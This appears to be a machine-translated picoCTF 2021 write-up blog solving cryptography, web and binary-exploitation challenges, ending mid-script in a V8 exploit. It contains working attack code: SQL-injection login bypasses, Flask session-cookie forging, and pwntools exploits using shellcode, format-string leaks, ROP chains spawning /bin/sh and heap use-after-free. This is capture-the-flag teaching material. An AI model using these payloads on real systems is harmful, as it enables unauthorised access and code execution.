picoCTF 2021 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

picoCTF 2021 contains some of the WriteUps for the challenges I solved. I will add more content later when I have time.

Cryptography

Mind your Ps and Qs

This challenge is simply about the small bit size of nn. Just find a factorization tool, or use FactorDB.

Easy Peasy

Notice that the key is cyclic. After the cycle, take the key back and xor it.

from pwn import *

r = remote("mercury.picoctf.net", 11188)
r.recvline()
r.recvline()
flag_enc = bytes.fromhex(r.recvline().decode())
fl = len(flag_enc)


def enc(m):
    r.sendlineafter(b"What data would you like to encrypt? ", m)
    r.recvline()
    return bytes.fromhex(r.recvline().decode())


enc("a" * (50000 - fl))
keyxor = enc("a" * fl)


def xor(x, y):
    return bytes(a ^ b for a, b in zip(x, y))


key = xor(keyxor, b"a" * fl)
flag = xor(flag_enc, key)
print("picoCTF{%s}" % flag.decode())

New Caesar

You need to write a special version of the base16 decoding function, and since the key search range is small, just brute force it.

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]


def b16_encode(plain):
    enc = ""
    for c in plain:
        binary = "{0:08b}".format(ord(c))
        enc += ALPHABET[int(binary[:4], 2)]
        enc += ALPHABET[int(binary[4:], 2)]
    return enc


def b16_decode(enc):
    assert len(enc) % 2 == 0
    plain = ""
    for a, b in zip(enc[::2], enc[1::2]):
        high = ord(a) - ord("a")
        low = ord(b) - ord("a")
        plain += chr(low + high * 16)
    return plain


def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 + t2) % len(ALPHABET)]


enc = b16_encode("hello")
print(b16_decode(enc))

flag_enc = (
    "apbopjbobpnjpjnmnnnmnlnbamnpnononpnaaaamnlnkapndnkncamnpapncnbannaapncndnlnpna"
)

for k in range(16):
    shifted = "".join(
        [chr(((ord(c) - ord("a") + k) % 16) + ord("a")) for c in flag_enc]
    )
    print(k, b16_decode(shifted))

Mini RSA

cme(modN)    me=c+kNc\equiv m^e\pmod{N}\implies m^e=c+kN, just brute force to find the value of kk. If it's a perfect cube, it's the answer.

import gmpy2

n = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287
c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808147130204332030239454609548193370732857240300019596815816006860639254992255194738107991811397196500685989396810773222940007523267032630601449381770324467476670441511297695830038371195786166055669921467988355155696963689199852044947912413082022187178952733134865103084455914904057821890898745653261258346107276390058792338949223415878232277034434046142510780902482500716765933896331360282637705554071922268580430157241598567522324772752885039646885713317810775113741411461898837845999905524246804112266440620557624165618470709586812253893125417659761396612984740891016230905299327084673080946823376058367658665796414168107502482827882764000030048859751949099453053128663379477059252309685864790106

for k in range(10000000000):
    [r, exact] = gmpy2.iroot(c + n * k, 3)
    if exact:
        print(k)
        print(r)
        print(bytes.fromhex(hex(r)[2:]))
        print(r ** 3 - n)
        break

The problem statement mentions that mem^e is slightly larger than NN, which might not be very clear. Even if the difference is a few thousand times, it's still "slightly larger" in this context.

Dachshund Attacks

Wiener's attack

No Padding, No Problem

It provides the function to calculate cd(modN)c^d\pmod{N}, but the decrypted value cannot be the flag. The bypass method is simple: change the ciphertext to c=kecc'=k^ec, where kk is a known constant. After decryption, you get cdkedcdkmm(modN)c'^d\equiv k^{ed}c^d\equiv km\equiv m'\pmod{N}. Then divide the obtained kmkm by the known kk to get the flag.

For convenience, you can take k=1k=-1, since e=65537e=65537, so c=Ncc'=N-c, and m=Nmm=N-m'.

It's Not My Fault 1

This challenge restricts the size of RSA CRT's dpd_p to within 2202^{20}. Since edp1(modp1)ed_p\equiv1\pmod{p-1} and by Fermat's little theorem, we know redpr(modp)r^{ed_p}\equiv r\pmod{p}.

However, during actual testing, you may find that edp(modp1)ed_p\pmod{p-1} is not necessarily 11, but let's consider the normal case for now.

Next, we can deduce redpr=kpr^{ed_p}-r=kp. For any number rr chosen from (1,N)(1,N), there is a high probability that p=gcd(redpr,N)=gcd((redpr)modN,N)p=\gcd(r^{ed_p}-r,N)=\gcd((r^{ed_p}-r)\mod{N},N).

So, brute force to find the value of dpd_p. With a range of 2202^{20} and some multiprocessing, you can find it within a few minutes.

from pwn import remote, process
from hashlib import md5
from itertools import product
import string
from sage.all import factor, gcd, power_mod, Zmod, PolynomialRing
from random import randint

conn = remote("mercury.picoctf.net", 41175)


def solve_pow():
    line = conn.recvline().decode().strip()
    prefix = line[33:38]
    suffix = line[-6:]
    print(f"md5({prefix} + ???) = ??? + {suffix}")
    for x in product(string.printable, repeat=10):
        s = prefix + "".join(x)
        if md5(s.encode()).hexdigest()[-6:] == suffix:
            conn.sendline(s)
            break


solve_pow()
conn.recvuntil(b"Public")
n = int(conn.recvline().decode().strip().split(" ")[-1])
e = int(conn.recvline().decode().strip().split(" ")[-1])
print(n)
print(e)

BITS = 20

# https://crypto.stackexchange.com/questions/46486/rsa-given-n-e-dp-is-it-possible-to-find-d
from multiprocessing.dummy import Pool
import gmpy2
rs = [gmpy2.mpz(randint(1, n)) for _ in range(5)]
res = [gmpy2.powmod(r, e, n) for r in rs]  # precompute r^e
def factor_with_dp(d_p):
    for r, re in zip(rs, res):
        p = gmpy2.gcd((gmpy2.powmod(re, d_p, n) - r) % n, n)
        if p > 1 and p < n:
            assert n % p == 0
            q = n // p
            return p, q
ans = None
for result in Pool(16).imap_unordered(factor_with_dp, range(1 << BITS, 0, -1)):
    if not result:
        continue
    p, q = result
    assert p * q == n
    print("factored")
    print(p)
    print(q)
    ans = str(p + q)
    break

conn.sendline(ans)
print(conn.recvall().decode())

This challenge is considered the third hardest in picoCTF crypto, with less than 90 teams solving it. I also spent a lot of time on this challenge before finding the solution.

Play Nice

A strange cipher, but it provides the key. Just write the decryption function. With some observation, you can easily write the decryption method since it is almost symmetric to the encryption function.

SQUARE_SIZE = 6


def generate_square(alphabet):
    assert len(alphabet) == pow(SQUARE_SIZE, 2)
    matrix = []
    for i, letter in enumerate(alphabet):
        if i % SQUARE_SIZE == 0:
            row = []
        row.append(letter)
        if i % SQUARE_SIZE == (SQUARE_SIZE - 1):
            matrix.append(row)
    return matrix


def get_index(letter, matrix):
    for row in range(SQUARE_SIZE):
        for col in range(SQUARE_SIZE):
            if matrix[row][col] == letter:
                return (row, col)
    print("letter not found in matrix.")
    exit()


def encrypt_pair(pair, matrix):
    p1 = get_index(pair[0], matrix)
    p2 = get_index(pair[1], matrix)

    if p1[0] == p2[0]:
        return (
            matrix[p1[0]][(p1[1] + 1) % SQUARE_SIZE]
            + matrix[p2[0]][(p2[1] + 1) % SQUARE_SIZE]
        )
    elif p1[1] == p2[1]:
        return (
            matrix[(p1[0] + 1) % SQUARE_SIZE][p1[1]]
            + matrix[(p2[0] + 1) % SQUARE_SIZE][p2[1]]
        )
    else:
        return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]


def decrypt_pair(pair, matrix):
    p1 = get_index(pair[0], matrix)
    p2 = get_index(pair[1], matrix)

    if p1[0] == p2[0]:
        return (
            matrix[p1[0]][(p1[1] - 1) % SQUARE_SIZE]
            + matrix[p2[0]][(p2[1] - 1) % SQUARE_SIZE]
        )
    elif p1[1] == p2[1]:
        return (
            matrix[(p1[0] - 1) % SQUARE_SIZE][p1[1]]
            + matrix[(p2[0] - 1) % SQUARE_SIZE][p2[1]]
        )
    else:
        return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]


def encrypt_string(s, matrix):
    result = ""
    if len(s) % 2 == 0:
        plain = s
    else:
        plain = s + "irlgektq8ayfp5zu037nov1m9xbc64shwjd2"[0]
    for i in range(0, len(plain), 2):
        result += encrypt_pair(plain[i : i + 2], matrix)
    return result


def decrypt_string(s, matrix):
    assert len(s) % 2 == 0
    result = ""
    for i in range(0, len(s), 2):
        result += decrypt_pair(s[i : i + 2], matrix)
    return result


alphabet = "irlgektq8ayfp5zu037nov1m9xbc64shwjd2"
matrix = generate_square(alphabet)
enc = encrypt_string("hello0pekomiko", matrix)
print(enc)
m = decrypt_string(enc, matrix)
assert m == "hello0pekomiko"
print(m)

from pwn import *

r = remote("mercury.picoctf.net", 40742)
r.recvline()
r.recvuntil(b"Here is the encrypted message: ")
ct = r.recvline().decode().strip()
pt = decrypt_string(ct, matrix)
print(pt)
r.sendlineafter(b"What is the plaintext message?", pt)
print(r.recvline().decode())

Double DES

The original brute force search range is 2122^{12}, but you can use the Meet-in-the-middle attack to trade space for time and brute force within the 262^6 range.

The principle is to transform C=Ek2(Ek1(P))C=E_{k_2}(E_{k_1}(P)) into Dk2(C)=Ek1(P)D_{k_2}(C)=E_{k_1}(P). First, search the range of k1k_1 and store the results. Then, search k2k_2 and look up the table.

from Crypto.Cipher import DES
import string
from itertools import product
from tqdm import tqdm


def pad(msg):
    block_len = 8
    over = len(msg) % block_len
    pad = block_len - over
    return (msg + " " * pad).encode()


flag_ct = bytes.fromhex(
    "ffcb6ff203c280e583119d2e077d109fdfecfd468e998f28b443d0e1ee9a6a38c02d74da59af7b14"
)

spaces = b" " * 8
space_ct = bytes.fromhex("c02d74da59af7b14")

table = {}

print("key1")
for k in tqdm(product(string.digits, repeat=6), total=10 ** 6):
    key = ("".join(k) + "  ").encode()
    ct = DES.new(key, DES.MODE_ECB).encrypt(spaces)
    table[ct] = key

print("key2")
for k in tqdm(product(string.digits, repeat=6), total=10 ** 6):
    key = ("".join(k) + "  ").encode()
    ct = DES.new(key, DES.MODE_ECB).decrypt(space_ct)
    if ct in table:
        key1 = table[ct]
        print(key1, key)
        flag = DES.new(key1, DES.MODE_ECB).decrypt(
            DES.new(key, DES.MODE_ECB).decrypt(flag_ct)
        )
        print(flag)
        break

Compress and Attack

Using the property of compression that removes consecutive repeated characters, you can know that if the same substring appears, the length will be shorter. Since the encryption method is stream-based and the length does not change, brute force search and compare the lengths.

import string
from pwn import *

conn = remote("mercury.picoctf.net", 29858)


def get_ciphertext_length(b: bytes):
    conn.recvuntil(b"Enter your text to be encrypted: ")
    conn.send(b + b"\n")
    conn.recvline()
    conn.recvline()
    return int(conn.recvline().decode().strip())


flag = b"picoCTF{"
chrs = b"{_}" + (string.ascii_lowercase + string.ascii_uppercase).encode()

from itertools import product

while True:
    l = get_ciphertext_length(flag + b"-") # There is probably no "-" in flag
    for i in chrs:
        c = bytes([i])
        b = flag + c
        if get_ciphertext_length(b) < l:
            break
    flag = flag + c
    print(flag)
    if c == b"}":
        break

Scrambled: RSA

I couldn't quite understand why this challenge is related to RSA, so I just tried to observe patterns and find the solution.

First, encrypt a string of length 1 and notice that the ciphertext is fixed. Then, encrypt a two-character string like ab and observe that there are only two types of ciphertexts. After careful observation, you can find that those two types of ciphertexts contain the ciphertext of encrypting only a. Removing that part leaves the ciphertext of b, but it is not the same as the ciphertext of encrypting only b.

I guessed that it might be related to the prefix, so I continued testing and found that it matched my guess, but the order was completely random. My approach was to use a dictionary to store the correspondence between characters and ciphertexts, then brute force each character to find the flag.

from pwn import *
import string

r = remote("mercury.picoctf.net", 61477)
r.recvuntil(b"flag: ")
flag_ct = r.recvline().decode()
r.recvline()  # n
r.recvline()  # e


def encrypt(s: str):
    r.sendlineafter(b"I will encrypt whatever you give me: ", s)
    r.recvuntil(b"Here you go: ")
    return r.recvline().decode().strip()


def get_represent(prefix: str, c: str, dt: dict):
    s = encrypt(prefix + c)
    for k in dt.keys():
        s = s.replace(k, "")
    return s


dt = {}
known = "picoCTF{"
flag = ""
for c in known:
    rp = get_represent(flag, c, dt)
    assert rp in flag_ct
    dt[rp] = c
    flag += c
    flag_ct = flag_ct.replace(rp, "")

chrs = "_}" + string.digits + string.ascii_lowercase + string.ascii_uppercase

while not flag.endswith("}"):
    for c in chrs:
        rp = get_represent(flag, c, dt)
        if not rp in flag_ct:
            continue
        dt[rp] = c
        flag += c
        flag_ct = flag_ct.replace(rp, "")
        print(flag)
        break

It is my Birthday 2

I used sha1collider to generate two different PDFs with the same hash. Then, using a property of sha1: sha1(a)=sha1(b)    sha1(am)=sha1(bm)\mathit{sha1}(a)=\mathit{sha1}(b)\implies\mathit{sha1}(a|m)=\mathit{sha1}(b|m). So, append the last 1000 bytes of invite.pdf to the generated PDF. (tail -c 1000 invite.pdf >> a.pdf)

Pixelated

I directly overlaid the two images in Photoshop and used Color Burn blending mode to barely make out the flag.

flag

New Vignere

Since the plaintext is its special version of base16, the character possibilities are few, which means there are many constraints. At this point, just use z3 to set all the conditions and let it solve.

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]


def b16_encode(plain):
    enc = ""
    for c in plain:
        binary = "{0:08b}".format(ord(c))
        enc += ALPHABET[int(binary[:4], 2)]
        enc += ALPHABET[int(binary[4:], 2)]
    return enc


def b16_decode(enc):
    assert len(enc) % 2 == 0
    plain = ""
    for a, b in zip(enc[::2], enc[1::2]):
        high = ord(a) - ord("a")
        low = ord(b) - ord("a")
        plain += chr(low + high * 16)
    return plain


def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 + t2) % len(ALPHABET)]


def unshift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]


b16 = b16_encode("abcdef0123456789")
chunks = [b16[i : i + 2] for i in range(0, len(b16), 2)]
print(chunks)
hi_chars = set(c[0] for c in chunks)
lo_chars = set(c[1] for c in chunks)
print(hi_chars)
print(lo_chars)


def encrypt(b16, key):
    enc = ""
    for i, c in enumerate(b16):
        enc += shift(c, key[i % len(key)])
    return enc


def decrypt(b16, key):
    enc = ""
    for i, c in enumerate(b16):
        enc += unshift(c, key[i % len(key)])
    return enc


from z3 import *


def z3_InList(x, l):
    return Or([x == e for e in l])


def get_keys(ciphertext, keylen):
    key = [BitVec(f"key_{i}", 4) for i in range(keylen)]
    ct = [ord(c) - ord("a") for c in ciphertext]
    hi = [ord(c) - ord("a") for c in hi_chars]
    lo = [ord(c) - ord("a") for c in lo_chars]
    s = Solver()
    for i, c in enumerate(ct):
        xc = (c - key[i % keylen]) % 16
        s.add(z3_InList(xc, hi if i % 2 == 0 else lo))
    while s.check() == sat:
        m = s.model()
        kk = [m[k].as_long() for k in key]
        keystr = "".join([chr(k + ord("a")) for k in kk])
        yield keystr
        s.add(Or([a != b for a, b in zip(key, kk)]))


print(b16)
test_ct = encrypt(b16, "acbgdag")
for k in get_keys(test_ct, 7):
    print(k, decrypt(test_ct, k))

flag_ct = "bgjpchahecjlodcdbobhjlfadpbhgmbeccbdefmacidbbpgioecobpbkjncfafbe"
for keylen in range(4, 16):
    for k in get_keys(flag_ct, keylen):
        b = decrypt(flag_ct, k)
        print(keylen, k, b16_decode(b))

It's Not My Fault 2

This challenge is similar to It's Not My Fault, but the range of dpd_p is now 2362^{36}, so you can't use the previous brute force method.

My idea is that finding dpd_p is like solving a discrete logarithm problem, so there might be an O(n)\mathcal{O}(\sqrt{n}) algorithm to find dpd_p. This would reduce the range to 2182^{18}, which is reasonable.

However, finding this method is not easy. I found a reference in Twenty Years of Attacks on the RSA Cryptosystem on page 5, mentioning that it's possible to factor NN in O(min(dp,dq))\mathcal{O}(\min(\sqrt{d_p},\sqrt{d_q})) time, but it didn't explain the method.

After some searching, I found this question Attack on CRT-RSA, where the asker also saw the same reference and asked about the method. The answer mentioned a core concept similar to Baby-step giant-step algorithm.

The method is from Mathematics of Public Key Cryptography. Version 2.0 in section 24.5.2. It sets 0<dp<D20<d_p<D^2, so dp=a+bDd_p=a+bD. Thus, gcd(redpr,N)=gcd(rearebDr,N)\gcd(r^{ed_p}-r,N)=\gcd(r^{ea}r^{ebD}-r,N). Then, calculate a polynomial f(y)=i=0D1(reiyr)f(y)=\prod_{i=0}^{D-1}(r^{ei}y-r), and for y=rebD,0<b<Dy=r^{ebD}, 0<b<D, compute f(y)f(y) and find the gcd with NN.

However, the polynomial degf(y)=D\deg{f(y)}=D, and calculating DD values of yy still has a complexity of D2D^2. This requires a special algorithm to evaluate a polynomial at multiple points, which can be found in Mathematics of Public Key Cryptography. Version 2.0 section 2.16.1 or Modern Computer Algebra Third Edition section 10.1.

from pwn import remote, process
from hashlib import md5
from sage.all import *
from itertools import product
import string
from random import randint

conn = remote("mercury.picoctf.net", 53988)


def solve_pow():
    line = conn.recvline().decode().strip()
    prefix = line[33:38]
    suffix = line[-6:]
    print(f"md5({prefix} + ???) = ??? + {suffix}")
    for x in product(string.printable, repeat=10):
        s = prefix + "".join(x)
        if md5(s.encode()).hexdigest()[-6:] == suffix:
            conn.sendline(s)
            break


solve_pow()
conn.recvuntil(b"Public")
n = int(conn.recvline().decode().strip().split(" ")[-1])
e = int(conn.recvline().decode().strip().split(" ")[-1])
print(n)
print(e)

BITS = 36

from sage.libs.ntl.ntl_ZZ_pX import ntl_ZZ_pContext, ntl_ZZ_pX
from poly_fast import poly_fast_ntl
from tqdm import tqdm


def square_root_attack():
    K = 1 << BITS
    D = 1 << (BITS // 2)
    Z = Zmod(n)
    x = Z(randint(2, n - 1))
    ctx = ntl_ZZ_pContext(n)
    xe = x ** e
    f_fac = []
    for i in tqdm(range(0, D)):
        f_fac.append(ntl_ZZ_pX([-x, xe ** i], ctx))
    # NTL's polynomial multiplication is much faster
    f = sage.all.product(f_fac)  # Because itertools.product != sage.all.product
    xed = xe ** D
    ys = [xed ** b for b in range(0, D)]
    for t in poly_fast_ntl(ctx, f, ys):
        p = gcd(t, n)
        if p > 1 and p < n:
            assert n % p == 0
            q = n // p
            return p, q


# if e*d_p != 1 (mod p), it will be infinite loop
while (r := square_root_attack()) is None:
    pass

p, q = r
ans = str(p + q)
conn.sendline(ans)
print(conn.recvall().decode())

The poly_fast file is as follows:

from sage.all import *
from sage.libs.ntl.ntl_ZZ_pX import ntl_ZZ_pContext, ntl_ZZ_pX

def poly_fast_ntl(ctx, f, xs):
    n = len(xs)
    k = ceil(log(n, 2))
    if (2 ** k) > n:
        xs = xs + [0] * ((2 ** k) - n)

    def build_tree(xs, k):
        M = {}
        for j in range(0, 2 ** k):
            M[(0, j)] = ntl_ZZ_pX([-xs[j], 1], ctx)
        for i in range(1, k + 1):
            for j in range(0, 2 ** (k - i)):
                M[(i, j)] = M[(i - 1, 2 * j)] * M[(i - 1, 2 * j + 1)]
        return M

    def compute(f, xs, k, M, s=0):
        if k == 0:
            yield f
            return
        r0 = f % M[(k - 1, 2 * s)]
        r1 = f % M[(k - 1, 2 * s + 1)]
        mid = len(xs) // 2
        yield from compute(r0, xs[:mid], k - 1, M, 2 * s)
        yield from compute(r1, xs[mid:], k - 1, M, 2 * s + 1)

    M = build_tree(xs, k)
    ans = list(compute(f, xs, k, M))
    # Using int instead of Integer will overflow...
    return [Integer(pl.list()[0]) for pl in ans[:n]]

During the implementation, I found that Sage's PolynomialRing multiplication is slow. I wasn't sure if I was using it incorrectly, so I abandoned the plan to directly compute f(y)f(y) and then f(y)modMi,jf(y)\mod M_{i,j}. Instead, I used the remainder theorem and the Chinese remainder theorem. This worked for smaller prime numbers, but failed for the actual NN. I found this Ticket, which explained that Sage switches to NTL's implementation for large numbers. Although NTL has xgcd, Sage didn't integrate it, causing errors. So, I switched to using NTL's polynomials, which worked. I also discovered that NTL's polynomial multiplication is much faster, allowing direct computation of f(y)f(y).

Another approach is to use Divide and Conquer to compute the polynomial, as the challenge author did: attack.py

This challenge is the second hardest in crypto, with only about 20 teams solving it. The hardest is Clouds, with fewer than 20 teams solving it, and it's the only crypto challenge I didn't solve.

Web Exploitation

Scavenger Hunt

The flag is divided into five parts:

  • Part 1: In the HTML
  • Part 2: In the CSS
  • Part 3: In robots.txt
  • Part 4: In .htaccess
  • Part 5: In .DS_Store

Who are you?

A challenge to modify headers, with several stages to pass.

  • Stage 1: User-Agent
  • Stage 2: Referer
  • Stage 3: Date
  • Stage 4: X-Forwarded-For
  • Stage 5: Accept-Language

It is my Birthday

Upload two different .pdf files with the same md5 hash. One way is to use a tool to generate PDFs with the same md5. Another way is to create two files with md5 starting with 0e and exploit PHP's weak comparison.

Super Serial

In server.py, you can see that app.secret_key is randomly chosen from cookie_names. Once you determine the secret, you can sign your own cookies.

I used Flask Unsign to handle Flask cookies conveniently.

First, put cookie_names in a cookies.txt file, then run flask-unsign --cookie "$YOUR_COOKIE" --unsign -w cookies.txt to find the secret key.

Next, use flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "$SECRET_KEY" to sign the required cookie.

You can also use itsdangerous to brute force the secret and sign the cookie with a custom script.

Most Cookies

The server.py shows that app.secret_key is randomly chosen from cookie_names. Once you determine the secret, you can sign your own cookies.

I used Flask Unsign to handle Flask cookies conveniently.

First, put cookie_names in a cookies.txt file, then run flask-unsign --cookie "$YOUR_COOKIE" --unsign -w cookies.txt to find the secret key.

Next, use flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "$SECRET_KEY" to sign the required cookie.

You can also use itsdangerous to brute force the secret and sign the cookie with a custom script.

Web Gauntlet 2

Bypass the filters and use SQLi to log in as admin. My approach was to concatenate strings and use substr to remove the trailing string.

curl "http://mercury.picoctf.net:57359/index.php" --data "user=adm'||'in'||substr(&pass=,0,0)||'" -s | grep h6

One thing to note is that there are additional filters not mentioned in the challenge, such as password being disallowed. My initial payload was curl "http://mercury.picoctf.net:57359/index.php" --data "user=adm'||'in&pass='||password||'" -s | grep h6.

Web Gauntlet 3

Similar to the previous challenge, but with a length limit of 25 characters, so the previous substr method exceeds the limit. The core concept is still the same, using printf.

curl "http://mercury.picoctf.net:24143/" --data "user=adm'||printf('in',&pass=)||'" | grep h6

Some Assembly Required 1

Open the wasm file in DevTools, scroll to the bottom of the data section, and you'll see the flag.

Some Assembly Required 2

In the function, you can see an xor operation. I took the provided data to Python and xor it with pico, finding the values to be the same. So, xor the entire data with that value to get the flag.

Some Assembly Required 3

My solution to this challenge is likely not the intended one, more like a hack.

First, use wasm2c to convert the wasm file to C: wasm2c pico_web_asm_3.wasm -o pico_web_asm_3.c.

Then, write a wrapper:

#include "pico_web_asm_3.h"
#include <stdio.h>
#include <string.h>

int main()
{
    init();
    char buf[100];
    scanf("%s", buf);
    int l = strlen(buf);
    for (int i = 0; i < l; i++)
    {
        Z_copy_charZ_vii(buf[i], i);
    }
    Z_copy_charZ_vii(0, l);
    int ret = Z_check_flagZ_iv();
    puts("");
    if (ret)
    {
        printf("Good\n");
    }
    else
    {
        printf("Bad\n");
    }
    return 0;
}

Compile with: gcc wrapper.c pico_web_asm_3.c wasm-rt-impl.c -o pico_web_asm_3 -Ofast. The wasm-rt-impl.c can be found here. Running it turns it into a regular flag checker.

Next, in pico_web_asm_3.c, find w2c_strcmp and notice it only has a ==. Reasonably deduce that this is the comparison result, so add a line like printf("%d", w2c_i0); below it and recompile. Test with strings like picoa and picoC, where the former outputs 11110 and the latter 111110. Write a script to brute force each character to find the flag.

from pwn import *
import string

context.log_level = "error" # mute pwntools


def test(s):
    p = process("./pico_web_asm_3")
    p.sendline(s)
    r = p.recvline().decode()
    p.kill()
    return r.count("1")


flag = "picoCTF{"
chrs = "{_}" + string.ascii_lowercase + string.ascii_uppercase + string.digits

while True:
    for c in chrs:
        r = test(flag + c)
        if r > len(flag):
            flag += c
            break
    print(flag)
    if flag.endswith("}"):
        break

Some Assembly Required 4

This challenge is similar to the previous one. Convert it to a flag checker and add the printf. However, the previous script won't work directly.

Testing reveals it checks two characters at a time. For example, p outputs 0, but pi outputs 110. Modify the brute force script accordingly.

from pwn import *
import string
from itertools import product

context.log_level = "error"


def test(s):
    p = process("./pico_web_asm_4")
    p.sendline(s)
    r = p.recvline().decode()
    p.kill()
    return r.count("1")


flag = "picoCTF{"
chrs = "{_} " + string.ascii_lowercase + string.digits  # + string.ascii_uppercase

while True:
    for c, d in product(chrs, repeat=2):
        r = test(flag + c + d)
        if r > len(flag) and r % 2 == 0:
            flag += c + d
            break
    else:
        print('no result found, probably a single "}"')
        break
    print(flag)
    if flag.endswith("}"):
        break

Binary Exploitation

Binary Gauntlet 0

Overflow it to print the flag.

Binary Gauntlet 1

Use the provided address to return to the shellcode.

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

p = remote("mercury.picoctf.net", 65502)
# p = process("./pico_gauntlet1")

addr = int(p.recvline().decode().strip(), 16)
print(hex(addr))
p.sendline("pekomiko saiko!")
sc = asm(shellcraft.sh())
p.sendline(sc + b"a" * (120 - len(sc)) + p64(addr) + b"bbbb")
p.interactive()

Binary Gauntlet 2

Use printf to leak the stack address, then find the offset with gdb (this depends on the libc version), and return to the shellcode.

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

p = remote("mercury.picoctf.net", 33542)
# p = process("./pico_gauntlet2") # need to patch to 2.27-3ubuntu1.2_amd64, or exploit won't work

p.sendline("%6$p")
addr = int(p.recvline().decode().strip(), 16)
print(hex(addr))
sc = asm(shellcraft.sh())
p.sendline(sc + b"a" * (120 - len(sc)) + p64(addr - 0x158))
p.interactive()

Binary Gauntlet 3

Use printf to get the libc base address. When writing the rop, notice that strcpy stops at \0, so you can only control rip once.

One approach is to return to the libc one gadget.

Another approach is to notice that rdi is the dest of strcpy when returning, so return to gets to write to the stack. Calculate the offset and provide the actual rop chain.

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc.so.6")

p = remote("mercury.picoctf.net", 15887)
# p = process("./pico_gauntlet3")
# need to patch to 2.27-3ubuntu1.2_amd64, or exploit won't work

p.sendline("%23$p")
__libc_start_main_231 = int(p.recvline().decode().strip(), 16)
base = __libc_start_main_231 - libc.sym["__libc_start_main"] - 231
print(hex(base))

# one gadget
# p.sendline(b"a" * 120 + p64(base + 0x10A41C))

# gets then execve
binsh = base + next(libc.search(b"/bin/sh"))
pop_rdi = 0x400793
pop_rsi_r15 = 0x400791
pop_rdx = base + 0x1B96
execve = base + libc.sym["execve"]
chain = flat([pop_rdi, binsh, pop_rsi_r15, 0, 0, pop_rdx, 0, execve])

p.sendline(b"a" * 120 + p64(base + libc.sym["gets"]))
payload = b"a" * 16 + chain
assert b"\n" not in payload
p.sendline(payload)
p.interactive()

Stonks

Use printf to print the flag from the stack.

Here's a LIBC

Use puts to leak the GOT address of puts, get the libc base address, and return to libc.

from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

# p = process("./pico_heres_libc")
p = remote("mercury.picoctf.net", 42072)

elf = ELF("./pico_heres_libc")
libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

pop_rdi = 0x400913
chain = flat([pop_rdi, elf.got["puts"], elf.sym["puts"], elf.sym["do_stuff"]])
assert not b"\n" in chain
p.sendline(b"a" * 136 + chain)
p.recvuntil(b"aaad\n")
puts = int.from_bytes(p.recv(6), byteorder="little")
base = puts - libc.sym["puts"]
print(hex(base))

# using one gadget
# p.sendline(b"a" * 136 + p64(base + 0x10A45C))

# manual execve(b"/bin/sh\0", 0, 0)
pop_rdx = base + 0x1B96
pop_rsi_r15 = 0x400911
binsh = base + next(libc.search(b"/bin/sh\0"))
execve = base + libc.sym["execve"]
chain2 = flat([pop_rdi, binsh, pop_rdx, 0, pop_rsi_r15, 0, 0, execve])
assert not b"\n" in chain2
p.sendline(b"a" * 136 + chain2)
p.interactive()

Cache Me Outside

This challenge requires using the tcache mechanism to make the next malloc return a previously freed chunk containing the flag.

Simplified, free a and b, then modify one byte of memory, and malloc a chunk to print its content. Chunk a contains the flag, and chunk b is irrelevant.

After free(a); free(b);, tcache is tcache -> b -> a. When malloc again, it takes b, so tcache becomes tcache -> a, and malloc returns b.

The solution is to modify one byte to make tcache tcache -> a, so the next malloc returns a, printing the flag.

Using gef's heap command to debug, you can find that modifying one byte is enough:

printf "-5144\n\0\n" | nc mercury.picoctf.net 17612

Unsubscriptions Are Free

The challenge name hints at UAF. Free user, then leave a message to malloc the freed user, overwriting the whatToDo address to call hahaexploitgobrrr.

from pwn import *

context.arch = "x86"

# p = process("./pico_free")
p = remote('mercury.picoctf.net', 61817)

p.sendline("s")
p.recvuntil(b"OOP! Memory leak...")
addr = int(p.recvline().decode().strip(), 16)
p.sendline("i")
p.sendline("y")
p.sendline("l")
p.sendlineafter(b"anyways:", p32(addr))
p.sendline("e")
print(p.recvall().decode())

Kit Engine

The challenge is a modified V8 engine allowing arbitrary JavaScript execution. The patch shows multiple AssembleEngine calls, placing JS array numbers into a double array and jumping to it.

The key is knowing that JS numbers are double-precision floats, allowing you to write shellcode using the float structure. Use Python's struct.unpack to convert bytes to floats, then generate JS to call AssembleEngine.

Since the challenge doesn't provide interactive input, use ls and cat to get the flag.

from pwn import *
import struct

context.arch = "amd64"


def sc2dbls(sc):
    for i in range(0, len(sc), 8):
        blk = sc[i : i + 8]
        if len(blk) < 8:
